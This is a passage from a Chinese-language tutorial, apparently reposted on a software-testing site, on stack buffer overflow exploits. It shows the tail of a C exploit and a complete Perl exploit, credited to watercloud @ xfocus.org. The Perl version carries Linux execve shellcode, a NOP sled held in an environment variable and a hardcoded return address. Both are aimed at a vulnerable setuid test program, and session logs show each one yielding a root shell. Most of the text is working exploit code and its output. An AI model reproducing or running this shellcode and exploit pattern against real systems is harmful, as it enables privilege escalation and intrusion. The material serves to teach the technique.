溢出利用程序和編程語言大雜燴

領測軟件測試網

  int j;
                *pc++='A';
                pi=(unsigned int *)pc;
                for(j=0;j<20;*pi++=ADDR,j++){};
                *pi=0;
                ret=system(cmd_buff);
        }
        return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵&#65533;胯??
buff : AA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
&#65533;胯?胯??
buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<三> perl語言版本利用程序ex.pl

[cloud@test]$ cat ex.pl

#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
  $ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20;  #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

文章來源于領測軟件測試網 http://www.kjueaiud.com/